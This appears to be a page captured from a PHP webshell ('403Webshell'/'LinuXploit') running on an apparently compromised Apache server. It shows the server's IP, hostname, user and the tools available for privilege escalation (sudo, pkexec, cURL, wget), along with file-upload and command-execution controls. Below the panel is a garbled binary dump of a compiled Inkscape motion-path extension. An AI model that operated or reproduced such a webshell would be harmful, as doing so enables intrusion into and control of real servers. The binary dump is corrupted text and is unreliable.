403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/motion.cpython-310.pyc
o

0�a��@s�ddlZddlZddlmZmZmZmZmZmZm	Z	m
Z
mZmZm
Z
ddlmZddlmZmZGdd�dej�ZedkrDe���dSdS)�N)�Move�Line�Curve�	ZoneClose�Arc�Path�Vert�Horz�TepidQuadratic�	Quadratic�Smooth)�Vector2d)�beziertatslope�beziersplitattc@s8eZdZdZdd�Zedd��Zdd�Zedd	��Zd
S)�MotionzGenerate a motion pathcCs,|jddtddd�|jddtdd	d�dS)
Nz-az--angleg�F@zdirection of the motion vector)�type�default�helpz-mz--magnitudegY@zmagnitude of the motion vector)�add_argument�float)�self�pars�r�(/usr/share/inkscape/extensions/motion.py�
add_arguments s�
�zMotion.add_argumentscCs�|�t���}|�||g�}t|t�r)t|j|j|j|j	|d||d|�}nt|t
�r<t
|d||d|�}n	td�t
|����t�t|d|d�||�t��|t�g�|_dS)z#translate path segment along vectorr�zUnexpected segment type {}N)�add�inkex�PathElement�	translate�
isinstancer�x3�y3�x2�y2r�RuntimeError�formatrrr�to_liner
r�path)�last�segment�	facegroup�delx�dely�elem�npt�revrrr�makeface&s 
�

�zMotion.makefacecCs�t�t�|jj��|jj}t�t�|jj��|jj}|jj�	t
j�D]7}|���
t
���}|�
t
���}|�|�|jrE|j|_d|_|j|_|j����D]
}|�||||�qPq$dS)N)�math�cos�radians�options�angle�	magnitude�sin�svg�	selection�filterrr�	getparentr�Group�append�	transform�styler(�to_absolute�proxy_iterator�process_segment)rr,r-�node�groupr+�	cmd_proxyrrr�effect?s
��z
Motion.effectc
Cs"g}t|jtttttf�r�|j}|��D]�}|g|�	�}|�
|j|�}dd�t|||f�D�}|�
�t|�dkrft||d�\}	}
|�t|	d|	d|	d��|�t|
d|
d|
d��qt|�dkr�t||d�\}	}
t|
|d�\}
}|�t|	d|	d|	d��|�t|
d|
d|
d��|�t|d|d|d��q|�|�qn4t|jttf�r�|�|j�n%t|jt�r�|�t|jj|jj��nt|jttf�r�|�|j�|j
��tt|j�g|���D]}t|jt��rq�t�|j|j|||�q�dS)zProcess each segmentscSs(g|]}d|krdkrnn|�qS)rrr)�.0�trrr�
<listcomp>Zs(z*Motion.process_segment.<locals>.<listcomp>rr��N)r �commandrrr
rr�previous_end_point�	to_curves�to_bez�	end_point�first_pointr�sort�lenrr>rr�x�yrr	r'rrrBrr1)
rFr+r,r-�segments�prev�curve�bez�tees�one�two�three�segrrrrCPs<"$""$��zMotion.process_segmentN)	�__name__�
__module__�__qualname__�__doc__r�staticmethodr1rGrCrrrrrs
r�__main__)r2r�inkex.pathsrrrrrrrr	r
rr�inkex.transformsr
�inkex.bezierrr�EffectExtensionrr`�runrrrr�<module>s4W�

Youez - 2016 - github.com/yon3zu
LinuXploit